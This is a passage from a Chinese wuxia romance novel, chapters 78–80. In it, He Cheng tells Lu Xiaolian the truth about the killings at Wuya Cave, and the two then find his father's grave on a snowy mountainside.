陆晓怜太过着急,没能听完贺承的叮嘱,便被青石滑倒,偏偏那块青石离山坡太近,这一摔,便从山坡上滚落了下去。 贺承眼睁睁看陆晓怜摔下山坡,纵身一跃,扣住她的肩膀,却无力止住向下的坠势,只能用力将人往怀里带。 “师兄!快松手!”陆晓怜的惊呼混在风雪之中,隐隐绰绰。 贺承不语,只越发用力地将她按在怀中。 陆晓怜声音颤抖:“快松手!你身上还有伤!” 贺承抬手护住她的头:“嘘,省点力气。” 天地在漫天的雪花与横生的枯枝荒草中颠倒,贺承与陆晓怜跌跌撞撞滚落坡地,贺承的脊背撞上老松虬结的树根才停住。 头晕目眩之中,贺承伸手去摸怀中人:“晓怜?你怎么样?伤着哪里没有?” 陆晓怜睁眼也是一片天旋地转,她从贺承怀中挣出来,顾不得回答他的话,便手忙脚乱地查看他的伤势。她颤抖着去摸他腰腹间的伤口,果然伤口又崩裂了,她伸手便摸到温热粘稠的血,她眼眶发烫,急得哽咽:“怎么办?伤口又出血了,怎么办?” “没事,重新包扎了就好。” “什么叫没事!”陆晓怜有些生气,“伤口反反复复撕裂,怎么会没事!” 贺承揽着她的肩膀,声音有些低沉:“别生气了,我,我不大舒服……”话音未落,便见他闷闷咳嗽了一声,呛出一簇殷红,沾染在披风上雪白的滚边上,触目惊心。 陆晓怜望着那蓬艳色,瞠目欲裂:“我背你上去!” 贺承有些坐不住,倚在陆晓怜肩头,抬眼看了看夜色中陡峭的长坡,轻轻摇头:“背着我,你是上不去的。你自己上去,找人来接我。” “你又想支开我?”陆晓怜的手掌抵着贺承渗血的伤口,借着雪光,看见他惨白的脸和染血的唇,心中越发不安,“我不走!我不能把你一个人留在这里。” 陆晓怜本以为贺承不会同意。 风雪这么大,夜这么深,他不会同意她陪他吹风受冻。 他从来舍不得她吃一点苦的。 出乎意料的,她没有再多费什么口舌。 贺承只是将大氅张开些,将她也裹进大氅里来,然后伸手拥着她:“不走就不走吧,金波知道我来息山找你,即便你不上去找人,他们发现我们不见了,也能很快找到我们。” 陆晓怜缩在贺承的大氅里,露出一双眼睛盯着贺承看。 “刚刚我真不是要支走你。”贺承盯着她笑,想了想又补了一句,“即便以前支走过你,以后也不会了 ,真的,这回不骗你。” 第78章 第七十八章无涯洞(一)终究是瞒不…… “你骗我也没有关系,我总会自己找到真相的。”风雪之中,陆晓怜眸光闪亮,语气笃定,“总有一天,你会把我当做能与你并肩而行的伙伴,而不只是需要你爱护的、受不得一点风雨的小师妹。” 贺承的视线往下垂了垂,落在陆晓怜身侧的横秋剑上,他伸手摸着横秋剑,道:“这就是你冒着风雪在息山上练剑的原因吗?你以为,我是嫌你功力弱,觉得你帮不上忙,才不肯将事情的来龙去脉告诉你的?” 这一面山坡迎风,虽在坡底,风雪却并未减弱分毫。 半山风雪,一张大氅,逼得他们紧紧相拥。 风雪之中,陆晓怜撕了一角布料,手脚利落地处理过贺承腰上撕裂的伤口,便坐在他身旁看他。一双清亮的眼好似水色琉璃,她静静看着贺承,目光里蕴藏着千万般疑问,嘴边却一个问句也没有倾吐出来,只静静等着他自己说下去。 虽然知道她想听的是什么,可话到嘴边,还是发声艰难:“师父的样子你也见到了,无涯洞的事确与师父有关,我是不想你难过……”冷风骤起,贺承语意未尽,被风雪呛得侧过脸去闷声低咳。 陆晓怜伸手环到他背后,顺着清瘦的脊背,边替他拍抚顺气边道:“大哥死在我爹手里,我会难过,大哥死在你手里,我就不难过了吗?” “你可以恨我,可你不能恨师父。” “说得不错,我爹终究是我爹,但我可以与你再无瓜葛,老死不相往来。”陆晓怜嗤笑,“所以你觉得,我们十几年的情分不值一文,说断就能断?” “我们之间的情分怎么会不值一文!”经金波启发,贺承隐约明白陆晓怜的心结,当即出声反驳,知她不会信,深深吸了口气,又道,“我那时受了很重的伤,与其让你知道亲生父亲害死了亲哥哥,接着又眼睁睁看着我伤重不治,倒不如,便让你与其他人一样都以为大师兄是被我所害,如此一来,我死之后,你也不会太伤心。” 这是贺承此前从未吐露过的细节。陆晓怜心中一紧,声音发颤:“那一日,无涯洞外,究竟发生了什么?” 时隔经年,终究是瞒不住了。 贺承冰冷的手攀上陆晓怜的手背,像一道寻求依附之所的藤蔓,紧紧缠绕上去。他微微眯起眼,看向不远处那一丛枯黄灌木,恍然想起,大约一年之前,也是隆冬,青山城里无涯洞外,也有这样一丛低矮的灌木,影影绰绰…… 那几日的青山城注定不会平静。 临近陆晓怜比武招亲的日子,各门各派青年才俊此时已齐聚在青山城中。 一个月前陆岳修广发英雄帖,放言赢下擂台者不仅能娶陆晓怜,青山城还会将独门心法“青山遮”作为嫁妆双手奉上,这方擂台吸引人的不仅仅是龙吟仙子留下的明珠,还有青山城从不外传的精妙心法。 人人都对这桩盛世津津乐道,只除了与陆晓怜青梅竹马的贺承。 他捧在手心里的小师妹闷闷不乐地翻着那些青年才俊的名单,指着几个眼熟的名字问他:“师兄,你能不能去同他们说说,明日上场,直接输给你便是,不要跟你争?” 不谙世事的小姑娘天真烂漫,并不知道站上了比武的擂台,输赢关系的不仅仅是彩头,更是一人,乃至一门的名声荣辱,谁能让?谁敢让? 贺承哄她:“放心,我不会输的。” 陆晓怜还是不高兴:“这些人简直是混蛋!孟元纬不是跟芷蔚姐姐互诉衷情了吗?怎么还来凑我们这里的热闹?还有叶白,常跟着芷蔚姐姐一起来,明明也是知道你我心意相通的,他这是什么意思?” 贺承捏捏陆晓怜气得涨红的脸:“别气了,他们是混蛋,师兄去教训他们。” 要不怎么说陆晓怜与贺承心意相通?两人连生气都气到一块儿去了—— 孟元纬是自小与他们一块儿长大的玩伴,他和凤鸣山的叶芷蔚能凑成一对,还有贺承和陆晓怜帮着穿针引线的功劳,他这不仅是过河拆桥,是要把整条河都染绿了! 叶飞白是叶芷蔚的兄长,与陆晓怜、贺承也相熟,谁能想到平时温润如玉的翩翩君子竟然扮猪吃老虎,对陆晓怜存了这样的心思? 还有江非沉,陆晓怜与他不熟,贺承却与他熟得很!当年江非沉还未在试琴会中夺魁,他的弟弟病重,还是他当了凌云剑给他弟弟凑的药费,姓江的就是这么恩将仇报的? 这些人恰好在打擂台的前一夜聚齐,贺承气不过,将人约到后山无涯洞外,说是要为陆晓怜出气,其实贺承自己心里也是有气的。旁的人便罢了,这几个人,谁不知他与陆晓怜两小无猜,还来凑这个热闹?违不违心? 孟元纬、江非沉与叶飞白如约而至,贺承手里握着一块绸布,倚着无涯洞口一竿翠竹细细擦拭着凌云剑。 听见脚步声,他眼皮一掀,目光冷冽:“你们不仁,我却不能不义。事关我师妹,明日我必不会手下留情,为了不让你们在天下英雄面前输得太难看,我们便在今晚比试了吧!” 孟元纬也想找贺承解释清楚的,没想到他到得晚,还没收拾妥当,便被贺承占了先。 陆掌门将邀帖递到逐月阁,逐月阁总是要有所回应的,他爹孟阁主最讲究门户,陆晓怜是青山城掌门独女,逐月阁自然不能随随便便派个阁中的弟子过来,即便是凑数撑场面,也得是阁主之子亲自来。 选孟元纬过来,便是看中他和陆晓怜、贺承关系好,比他那冷面的大哥孟元经能说会道,想是三言两语能安抚住贺承的愤愤。 不料,孟元纬与叶飞白还来不及开口,竟让平素沉默寡言的江非沉抢了先。 大概是江非沉习武成痴,同样一段话,他竟听出不同的重点来,抖落手中软剑:“许久不曾切磋,你怎么就知道我们一定会输?贺兄,未免太过自负!” 都是年轻气盛,此话一出,更是火上浇油。 贺承出手一向很快,凌云剑出鞘,没留给孟元纬和叶飞白说句话打圆场的机会,泠泠剑光一晃而过,剑锋已追至江非沉眼前。 “好,那我们便痛痛快快打一场!” 江非沉横剑相抗,目光幽微:“奉陪到底!” 夜色如水,剑光来去,如同水中漾起的波纹。 江非沉本不是冲动易怒的性子,此番不知为何,贺承一句话便激得他大打出手,招招不留情面。贺承向来是吃软不吃硬的性子,他有硬碰硬的脾气,也有硬碰硬的本事,即便江非沉招招不留余地,他也能逢山开路遇水搭桥,招招化解得干净利落。 刀光剑影间,沙石横飞,草木崩裂。 这一夜的青山城住了不知多少人,再闹下去,非得把江湖前辈引来不可。一旁的孟元纬与叶飞白看得心惊肉跳,连连出声劝住:“你们有话好好说,别动手啊!” 两人都在气头上,自然是不理的。 你来我往只拆了十几招,江非沉已现败势。 贺承无意伤人,手中剑势稍缓,算是给江非沉留了个台阶。偏偏那日的江非沉犯了轴,不肯顺着台阶下来,找到个破绽,一招“雨燕凌空”,身形轻盈一翻,落到贺承身后去,手腕一翻,执着长剑无遮无拦地冲贺承后心刺去。 即便是在擂台上对战,有言在先生死不计,也鲜少有人下这样的杀手。 何况,他们是相识多年的好友。 “贺大哥!” “贺承小心!” 孟元纬与叶飞白一齐惊呼出声。 贺承耳尖微动,听闻身后利刃破风的声响,伸出两根手指,精准夹住江非沉的剑刃。他是真的动了气,指尖使力,将江非沉的软剑弯折 过去的同时,侧身飞起一脚踹在江非沉心口,生生将人踹出几丈远,撞断了无涯洞外的一丛翠竹。 贺承受剑,眉目冷峻:“你是真想赢明日的擂台?真想跟我抢晓怜?” 江非沉一抹唇边呛出的鲜血,冷血:“有何不可?你我出身相似,你能肖想陆姑娘,我为何不能?” 贺承气得执剑的手都是抖的:“当然不能!我是她师兄,我与她青梅竹马一同长大,我护了她十八年,你是什么?” 两人争执不下,孟元纬连忙出来打圆场:“江兄,这就是你的不是了,君子不夺人所爱嘛!贺大哥与晓怜两情相悦,是大伙都知道的事。”他转向贺承,伸着三根手指起誓:“贺大哥,我发誓,我就是被我爹派来凑数的,明天上了擂台,三招之内,兵器必定脱手,我保证!” 贺承挑眉而笑,剑拔弩张的气氛因孟元经几句话有所缓解。 不料气氛只缓和了片刻,暗夜中骤然爆出一点银光闪过。贺承只觉肩上一凉,低头看去,左肩上竟镶嵌上一颗铁蒺藜,伤口处汩汩渗出血来,滴滴溅落地面。 贺承咬牙:“江非沉,你——” 话音未落,却听得无涯洞中一声野兽般的嘶吼。 叶飞白蹙眉,看向贺承:“这是什么声音?” 贺承茫然摇头,凝神看向无涯洞口,下一刻,只见他的师父,青山城掌门陆岳修鬓发蓬乱,双目赤红地自无涯洞中冲出。 这事生得诡异,又发生得太快,贺承一声错愕的“师父”,语音未落,离无涯洞口最近的江非沉已被陆岳修一掌击碎心脉,连一声痛呼都来不及,在地上抽搐几下,便没了动静。 叶飞白最先回过神来,摸出腰间的九节鞭,缠上几步攻到他们面前的陆岳修:“陆伯伯怕是走火入魔了!贺承,你我协力制住陆伯伯,元纬,你快去喊人!” 贺承看着无涯洞口江非沉扭曲的尸体,脑中一片空白,拉住转身欲走的孟元纬:“不能喊人!不能让人知道,师父杀了人!” 叶飞白道:“都什么时候了!你还要不要命了?” 贺承面色沉重:“不行,今日之事,不能再有第四人知道!叶大哥,你别松手,我想办法让师父安静下来。” “陆掌门走火入魔了,岂是我们能压制得住的!” 他们三个年轻人确实压制不住发狂的陆岳修体内的澎湃内力,可贺承也并没有打算压制住,他绕到陆岳修身后,趁其不备抬手狠狠击向他的后颈。 可陆岳修岂是能轻易被偷袭的。 觉察到身后的动静,他索性不与叶飞白纠缠,握着那段缠在自己腕上的九节鞭,将叶飞白拉到自己面前,宽大厚实的手掌以同样的方式覆上他的心口,顷刻间,叶飞白周身经脉具断,口中汩汩呛着血,抽搐地软倒下去。 陆岳修懒得理睬身后的动静,脚步微动,顷刻站到孟元纬面前,再度挥起手掌。 “师父!”贺承飞身去拦,喊声凄厉。 陆岳修猩红的眼有一瞬的清明,那迟疑的片刻,留给了孟元纬一线生机,贺承飞身过去,拦腰揽住被巨变惊得动弹不得的孟元纬,哑声道:“醒醒,快走!” 可陆岳修的神志只恢复了极短的一瞬,那一记断云掌终究还是隔空打了出来。 比江非沉与叶飞白幸运,孟元纬与贺承并未在顷刻间毙命。贺承忍着经脉受创的剧痛翻身去看孟元纬,只见孟元纬虽躲过了致命一击,还是被伤在了要害,胸骨深深凹陷了下去。 “元纬!”贺承顾不得自己经脉里翻搅着剧痛,强行提了一脉内力打入孟元纬体内。 孟元纬呼吸短促,已是濒死之相,被贺承的内力一激,身子猛然一颤,竟挣扎着睁开眼来,口中呛着血沫,含含糊糊道:“贺大哥……好疼啊……我要疼死了……” “我知道,你撑一撑!我用内力为你护着心脉,你不会有事的。”贺承边呕着血,边往孟元纬身上灌着内力,维持着他的一线生机。 陆岳修步步朝他们逼近过来,可贺承不敢松手,唯恐一松手,孟元纬便会咽气,到时候陆岳修手上又会再多一条人命。 陆岳修高大的身影将贺承与孟元纬罩住,他高高举起手掌。 贺承跪坐在地上,青衣染血,仰着头看陆岳修,绝望地唤他:“师父——” 可预期的断云掌并没有落下来。 有一个声音盖住贺承低弱的呼唤。 是陆兴剑。 陆兴剑挡在贺承身前。这些年,每一次贺承和陆晓怜闯了祸惹了事,陆岳修气急要打骂他们,陆兴剑都是这样挡在他们身前护着他们。 凌厉的掌风震碎陆兴剑的白玉发冠,温润如玉的谦谦君子,1回 披头散发,不成体统。他傲然迎风,掌心聚力,明知是以卵击石,可他脊背依旧挺得笔直:“父亲,你连我也要杀吗?” 这一回,陆岳修目光中的清明持续了更长的时间。 他看清眼前的陆兴剑,也看清被陆兴剑护在身后的贺承和孟元纬,眼中尽是茫然。他唯一知道的,是此刻,他掌心蓄起的千钧之力,尽数压在他最为倚重的独子陆兴剑身上,陆兴剑的经脉脏腑已不堪重负,刺眼的血水从他的口鼻中汩汩涌出。 于是,陆岳修慌了,他试图收回自己的掌力。 可太过惊惶,也太过仓促,即便是陆岳修也不免被自己的断云掌反噬,他“哇”地喷出一大口血后,也仰倒了下去…… …… 那一夜太过惊心,回首往事和诉说往事,都极度耗费心力,贺承说到这里,不得不停顿下来,抵着唇闷闷咳嗽。 陆晓怜搂紧了几乎没有力气坐稳的贺承,硬着心肠继续往下问:“之后呢?既然是我爹伤了人,为什么他们身上会有凌云剑的伤?” 第79章 第七十九章无涯洞(二)真相…… 风卷着越来越大的雪,飘飘洋洋。 贺承摸到陆晓怜的手,只觉触手冰凉。他气血溃败,指尖一直都是冷的,此刻陆晓怜的手比他还要冷,可见是冻得不轻。他推了推陆晓怜,弱声道:“太冷了,我们找个能挡风雪的地方,再继续说,好不好?” 坡底,距离他们不远的地方有一方凸起的石壁,一面背靠着山坡,三面围着三棵迎风的青松,恰好能遮挡风雪。陆晓怜扶着贺承深一脚浅一脚地走过去,两人蜷缩在石壁之下、青松之旁,躲着风雪。 风雪凄凄,陆晓怜抚着贺承瘦得突兀的脊骨,竟觉得他在微微发抖。 “师兄,你很冷吗?”陆晓怜更紧地拥住贺承。 贺承摇头,哑着嗓子,开口回答的却是她之前的问题:“非沉、元纬、飞白,还有大师兄,他们身上的剑伤确实是我用凌云剑刺的……” 那一日,虽然陆岳修在最后一刻撤回了掌力,可陆兴剑也几乎被震断了心脉,只剩最后一口气悬在喉咙里。他倒伏在地上,脏腑间涌上来的热血无法止歇,自唇齿间汩汩冒出来,染红了他身侧的灰黄色土地。 贺承顾不得孟元纬,手脚并用地爬到陆兴剑身旁,颤抖着喊他。 陆兴剑强撑着一口气,示意贺承扶他起来。那时他周身经脉都断了,甚至骨骼都碎了好几处,可他好似不觉得疼,由贺承扶着跌跌撞撞去看被自己内力反噬、倒地昏迷的陆岳修,抬手往他头顶落了两枚银针,对贺承道:“青山城掌门走火入魔伤人的事,不能让外人知道。这两枚银针不落,我爹不会醒的,你找个地方安顿他,让他疗伤。” 陆岳修昏睡,近在眼前的危险暂时解除,可不远处还横斜着江非沉与叶飞白的尸体,他们受青山城之邀而来,却在此惨死于青山城掌门之手,此事非得将江湖搅得天翻地覆不可。 陆兴剑脸色灰败,边说话,边呛着血,渐渐连抬头的力气都没有。他的头 无力地耷在贺承肩头,涣散的目光探向不远处的两具尸体,明明已经走至末路无力支撑,却挣扎着不肯闭眼:“小承,扶我,扶我过去看看……” “好。”贺承含着眼泪,顾不得自己经脉里的伤,强行蓄起一波内力自陆兴剑后心灌入,护住他岌岌可危的心脉,扶着他将江非沉、叶飞白、孟元纬看了个遍。 第二日便是盛事,整座青山城都在忙碌,无人关注到后山无涯洞这方隐蔽角落。 某一刻,连风都是静的,山林空荡,无涯洞外一片死气,只有贺承与陆兴剑断续凌乱的气息。陆兴剑颤抖着手逐一摸过那几人的经脉,心神巨震,终于耗尽所有力气,跌坐在孟元纬身旁。 断云掌造成的致命伤很明显,伤者经脉断得干净利落,却不见外伤。 而断云掌,历来只传青山城掌门。 只要被人发现这几具尸体,他们是被谁所伤,根本瞒不住! 陆兴剑攀着贺承的手臂,目光似将熄的灯烛,不甚明亮,却还是烫得贺承整颗心生疼。他气息奄奄,几乎是在哀求:“小承,师兄能不能最后求你一件事……我知道对你不公平,可师兄实在,实在没有办法……” 贺承隐约知道陆兴剑要说什么,无法自抑地发起抖来。 “父亲走火入魔不能理事,我也马上就要不在了……” 贺承红着眼睛,讷讷道:“师兄,你不会的……” 陆兴剑伏在贺承手臂上,又呛出几口血沫,气息越发微弱:“你听我说……师叔痴心武学,不善处理这些俗务,晓怜年纪又尚轻……江湖之上,弱肉强食,青山城不能乱,此时一乱,只怕世上再无青山城了……” 万籁俱寂,贺承耳边只有陆兴剑悬在喉咙里的那一口气,起起落落,不舍断绝。 贺承喉咙发干:“师兄要我怎么做?” 陆兴剑摸索着寻到落在地上的凌云剑,费力地塞到贺承手中,咬牙道:“无论如何,他们不能是被青山城掌门害的……你,明白吗?” 明白。 他早就明白,甚至明白的,比陆兴剑说出口的还要多一些。 不止一个人知道,是他风风火火地去找过江非沉他们,是他将他们约到后山无涯洞外—— 所以,最名正言顺将他们击杀在无涯洞外的人,是贺承! 陆兴剑颤抖地握着贺承的手,将凌云剑刺入自己大腿上被陆岳修震断的经脉骨骼处。他疼得身子一颤,贺承也跟着一颤,眼泪不知不觉间纵横,他喉咙微动,却什么也说不出来,只叠声喊着:“师兄!” 陆兴剑浑身染血,疼得额角青筋突兀,手下却并未停歇。他握着贺承的手,在自己身上划出一道道血痕,将陆岳修挥断云掌落下的伤,尽数变作贺承持凌云剑刺下的伤。 最后,只剩下一处被贺承用内力强行护着的、将断未断的心脉。 贺承摇头哭喊着:“师兄!不要!” 他试图将手从陆兴剑手中挣脱,陆兴剑那样虚弱,他明明可以挣脱,可他并没有,因为他知道,陆兴剑所言说所做,都是对的。 江湖之上,弱肉强食,青山城不能乱! 此前的无数次,陆兴剑都这样握着贺承的手,扫,刺,挑,他耐着性子一招一式地教他,陪着他长成江湖上人人交口称赞的少年英才。 可他握着贺承的手,刺下的最后一剑,竟冲着自己的心脏。 终于,贺承放弃了挣扎,凌云剑冰冷的剑光抵上陆兴剑心口。 陆兴剑灰白的脸上带着苦笑:“小承,要活下去……在明处也好,在暗处也罢……替我,守着……青山城……” 贺承说不出话,只用力摇头,泪水被横甩了出去。 陆兴剑冰凉的手握紧了贺承的手,剑光寸寸没入他的心口,他没有呻吟出声,咬紧了牙关,最后的低语轻如叹息。 他说:“对不起,我知道,要你活下去,实在是苦了你……可我,放心不下……” …… 这一夜的息山下,与那一夜的无涯洞相似,鸟虫俱寂,都是凄冷的风,吹过冬日里荒芜的山林。风雪打过枯朽的树枝,击散成一片冷白的雾,落下来,细细密密地将人罩住。 往事不堪,贺承低垂着眼,声音轻缓暗哑,渐渐低不可闻。 “师兄?”陆晓怜只觉托在贺承腰间的手陡然一沉,担忧地抬眼看过去,只见贺承脸色雪白,恍若一只折翼的白鸟,无力倒伏在她臂弯里,背上一对突兀的蝴蝶骨,正是轻轻翕动的翅膀。 尽管声音弱得只剩气音,贺承依旧断断续续地说着往事:“之后,我摸着非沉、飞白、元纬身上筋骨断裂处,拿凌云剑一一划过……其实元纬未被断云掌直接击中,经脉并未断绝,是我用凌云剑生生挑断他的经脉的……” 贺承眼眶通红,眼中浮着散碎的水光,喃喃念着:“是我,都是我!” “不是!”陆晓怜捧着贺承冰冷的脸颊,与他对视,一字一顿道,“害他们的人,不是你,也不是我爹,是那个操纵失心蛊的人!” 不是吗? 可明明就是他将凌云剑刺入他们身体里的!他那时清醒得很,面对着曾朝夕相处,或曾引为知己的人,他手起剑落,招招精准,实在是冷心冷性至极! 贺承目光痴钝,怔怔望着她:“就是我,他们身上的每一剑都是我刺的。” 陆晓怜咬着嘴唇,恨恨道:“不是的,你是受害者,我爹也是!” “你不怪我吗?” 陆晓怜心疼得厉害,更紧地拥住贺承,柔声道:“我为什么要怪你?你替我爹,替大哥,将青山城护得这么好。从头到尾,你只是委屈了你自己,我怎么会怪你?” 贺承将头抵在陆晓怜肩上,有温热的液体悄无声息地沾湿了陆晓怜的衣领。 万籁俱寂,她的心上却是一阵电闪雷鸣:“师兄……” “我不是不要你。”贺承想起连夜来息山找她,最初想要说的那句话,“我那时身负重伤,没多少日子好活,去找你,也只会拖累你。” 陆晓怜不赞同地皱眉,未等她开口,贺承继续说了下去:“可我从来没有不要你。我受凤尾续魂针,服秋梧半死丹,都是为了活下去。我多活一日,便多一分机会能治好这一身伤,治好了伤,不会轻易死了,我便敢去找你了。” 陆晓怜泪水涟涟,她的泪与贺承落在她肩头的泪,悄悄融到一起去。她用额头贴着贺承略有些散乱的鬓发,哽咽道:“你当然不会死,南门前辈都答应为你治伤了,你会长命百岁,我们会长长久久地在一起。” “是,明日便请沈大哥多派些人手去找南门前辈和潘前辈。” “好啊。”陆晓怜吸着鼻子,絮絮叨叨,“说来奇怪,西江城的事闹得那么大,按理说南门前辈和潘前辈也该听说了,怎么会到现在都音信全无?” “许是,阳城风景太好,乐不思蜀……” “也对,他们在百花谷待了那么久,难得出来,必定很高兴。” “嗯……” 听着贺承的回应越发含糊敷衍,陆晓怜觉察不对,将人扶起来,才发现贺承双目紧闭,脸色与唇色一例惨白,几乎与冰雪一个颜色。 陆晓怜心惊:“师兄,醒醒!” 贺承挣扎着掀起眼皮,目光痴钝,惨白的嘴唇微动:“怎么?” 她知道天寒,知道他气虚体弱,张开大氅要紧紧罩住他,手指摸过大氅一角,才发现搭在他腰腹之间的那块布料一片湿冷,他腰腹间的伤一直在悄然渗着血! “师兄!”陆晓怜心中惶惶,喊声凄厉。 贺承不得不睁开眼来,看着她双目猩红,盯着自己腰腹间湿透衣袍的血迹,扯过一角大氅草草遮住,往她身边靠近了些:“没事,就是有点冷……” “血怎么会止不住?”陆晓怜心中发寒,声音发颤。 贺承确实失了不少血,以至于反应都有些迟钝,愣愣看着陆晓怜半晌,忽然指了指她身后山坡上的几株枯瘦可怜的草:“别急,你看那里,那好像是能治外伤的血息草,我在师叔书上看过……” 顺着贺承的目光,陆晓怜看到山坡上的那几株弱小的、枯黄的野草,在漫无边际的黑暗与苦寒中窥见一线生机。 她快步走过去,跪在地上,双手在黑暗中摸索着,想要把血息草完完整整地连根挖出来,不知是看到了什么,还是摸到了什么,忽然惊呼出声! 贺承倚在石壁上神志昏昏,听见陆晓怜的惊呼,猛然支起身子:“晓怜,怎么了?” “没事。”陆晓怜惊魂未定,有 些不好意思,“真没事,就是,就是这草药好像长在了一块墓碑上,吓我一跳。” 陆晓怜十几年如一日地一贯胆小怕黑,最怕那些牛鬼蛇神的志怪传说,怎么敢去拔长在墓碑上的草药?贺承失笑,一手抵着腰腹间的伤口,缓步走过去,在她身侧蹲下,温声道:“我来——” 不料,几个字没说完整,贺承语音便卡在了喉间。 他眼瞳震颤,紧紧盯着面前的石碑—— 那石碑上明晃晃地刻着“司渊之墓”。 第80章 第八十章身世这是我的父亲。 “师兄,怎么了?” 贺承没有回应,胸口剧烈起伏着,双唇抿得发青,半晌没有说话。直到陆晓怜小心翼翼地扯了扯他的衣角,又喊了一声“师兄”,他才恍然回过神来。 属于司渊的这方墓碑不大,长不逾两尺。与平素见到的墓碑不同,它不是立着的,而是顺着山坡的走势斜斜倚着,几乎镶嵌在泥土里面,荒草侵越,若不是陆晓怜为了完完整整挖出那株草药,在这里摸索许久,根本没人能发现这里藏了一座坟冢。 贺承原本蹲在陆晓怜身边,此刻扶着她的肩膀,端端正正地跪好。 陆晓怜不解:“师兄,这是?” “这是前枕风楼左使司渊,也是我的父亲。”贺承道,“晓怜,你与我一起,给他磕个头吧。” 坡底潮湿的地面结了薄薄一层冰。贺承每一次低头下去都叩得很沉很深,击碎了冰霜,额头抵着疏松的一层沙土,仿佛有一只手掌轻柔地抚摸过他的额头。 他跪坐在司渊墓前,一点一点拔去墓碑上纵横生长的野草。 其实贺承记事以来就从未见过自己的父母,关于司渊的所有印象,都源于沈懿行、南门迁与潘妩的回忆。他们口中的司渊,或侠义,或仁慈,构成了贺承对“父亲”这个角色缥缈的、不真切的想象。 而此刻,仅仅是凭着一块冰冷的墓碑,司渊这个人,似乎鲜活立体了起来。 摸着石碑上雕工粗糙的字迹,贺承想起很多之前没有深究的细节—— 比如,当年沈南风恨极了司渊,将他挫骨扬灰洒在息山上,是怎么放过他的孩子的? 比如,庄荣逼他熟记、记载着百花谷机关的那本无名小册子究竟出自谁之手?庄荣是怎么得到那本小册子的?庄荣当年又是为什么从青山城不远千里来湘城,顺带捡走了流浪的他? 细细捋过二十多年的人生,贺承忽然惊觉,他年幼时便失去了父母的庇护,能安然长这么大,究竟有几分是阴差阳错的巧合,又有几分是司渊苦心孤诣地布局? 而如今,时隔二十年,司渊又护了他一次。 贺承从司渊墓碑缝隙中完完整整挖出那株瘦弱枯黄的血息草,递给陆晓怜:“我没力气了,你帮我将它捣碎吧。” 要捣碎一株草药并不难,坡底随处可见碎石,陆晓怜捡了两块大小适宜的,以稍大的石块为臼,稍小的石块为杵,撕碎血息草,叮叮咚咚地操作起来。 山林间回荡起石块相击的铿锵声,贺承倚着石壁而坐,不动声色地看陆晓怜。她低垂着视线,眼观鼻,鼻观心,举着小石块一下一下捣着草药,看上去全神贯注心无旁骛。 毕竟认识了陆晓怜十几年之久,她心里究竟在想什么,甚至不需要投递过来一个眼神,贺承都能揣测得到。沉默地看了陆晓怜半晌,他失笑:“你就没什么要问的?” 闻言,陆晓怜手上的动作一顿,老老实实答道:“我确实有些好奇,可这毕竟是你的私事,你若不想说便……” “枕风楼前左使司渊是我的父亲,南疆圣女桑秀,也就是金波的师父,是我的母亲。”贺承打断陆晓怜的话,转头过来,目光漆黑,“只要是你想知道的,我都会告诉你。” 故事很长,但贺承只是道听途说,说不出多少细节,凝练成言语,也并不繁杂。 他从枕风楼那位喜怒无常的前任楼主沈南风说起,从那味真假莫辨的南疆灵药说起,说到司渊与桑秀那一场自居心叵测的开始、以爱恨纠葛结束的相遇,说到桑秀的恨,说到司渊的仁,说到南门迁与潘妩被困百花谷,说到沈懿行救他于湘城风雪…… 打着蔫儿将要枯萎的草药捣不出多少药汁,陆晓怜小心翼翼地将捣碎的血息草捧在手心里捂热,却听得忘了手中的草药,呆呆望着贺承。 贺承含着笑低咳:“我对我的父亲其实没有一点儿印象,可我能活到今日,全有赖于他。若没有沈大哥相救,我已经死在五岁那年的寒冬,若没有师叔寻来,我决计不会是今日的模样,就连能进百花谷,能请出南门前辈和潘前辈,也要仰仗他留给师叔的那卷无名书册,以及我是他的儿子这层身份。” 他顿了一下,声音沉了下来:“至于我的母亲——” 与贺承一样,陆晓怜对自己的母亲龙吟仙子林音的印象也浅淡得几乎没有,可又与贺承不同,林音在陆晓怜幼年时病逝,临终时对襁褓中的女儿百般眷恋挂怀,而桑秀却恨极了贺承,恨到宁愿与尚未出世的他同归于尽。 知道自己的降生是不被期待的,贺承该有多难过? 陆晓怜心疼得厉害,咬着嘴唇摇头:“别说了,我给你敷药。” 不容贺承多说,陆晓怜解开贺承的衣裳,用自己的脊背为他挡着风雪,将稍稍捂热的血息草碎末一点一点敷在他血肉模糊的伤口上。 怕贺承疼得厉害,陆晓怜每个动作都慎之又慎,轻而又轻。许是药汁还是冰凉,又或者是药性强烈刺激了伤口,指掌下肌肉骤然紧绷,她心中惊痛,下意识地便要放轻手里的动作,却不料覆上来一只冰冷的手掌,抵着她的手背,紧紧贴住伤口。 血息草的汁液渗入伤口,翻搅起刀割般的剧痛,贺承闷哼一声,身体紧绷。 “师兄!”陆晓怜瞳孔一缩,惊呼出声。 他腰腹之间的皮肤是凉的,从伤口丝丝缕缕渗出的血水却是温热的,慢慢浸润了她掌心里湿冷的草药,灼得她从指尖到心口都剧烈疼痛着。 贺承单手撕下布条,边缠着自己的伤口,边沉声说下去:“至于我的母亲,恐怕我得替她向你道歉。” “嗯?”闻言,陆晓怜果然抬起头来,“为什么?” “我猜,师父之所以会中失心蛊,是有人想借师父之手杀我。”在陆晓怜错愕的目光中,贺承有理有据地说下去,“失心蛊第一次控制师父,应该就是在无涯洞,那时江非沉被迫用铁蒺藜伤我,蛊虫大概就是被血腥气惊动的。” “师父在枕风楼安顿下来后,失心蛊有很长一段时间没有发作。一直到前一段我带南门前辈夫妇来为师父诊治,失心蛊又发作了一次,再接着,就是前几日的那轮发作。” “而近来,你身上一直带着伤。”陆晓怜明白贺承的意思,讷讷接话,“你的意思是,失心蛊每一回发作都是因为嗅到你身上的血腥气。可是,这又与你的母亲有什么关系?” 贺承苦笑:“南疆部落久居南方山岭之中,能来中原,懂得用蛊,又想杀我的人,除了我的母亲桑秀,还会有谁?” “不会的!师兄你别瞎猜!南疆也不只有你的母亲会来中原,金波不也来了吗?还有从南州去百花谷的路上,绑走我和金波的,不也是一群南疆人吗?” 纵使贺承与桑秀没有见过面,可血浓于水,知道自己的母亲这么多年来锲而不舍地想要杀死自己,任谁心里都不会好受。 觉得自己刚刚的一番安慰还不够,陆晓怜凑过去紧紧将人抱住,额头抵在贺承肩窝里,微微仰着头看她师兄苍白如雪的侧脸:“即便被你猜中了也没关系的,师兄,还有我陪着你呢,还有师叔、钟晓、贺启,还有沈楼主,我们照样能热热闹闹地过日子。” 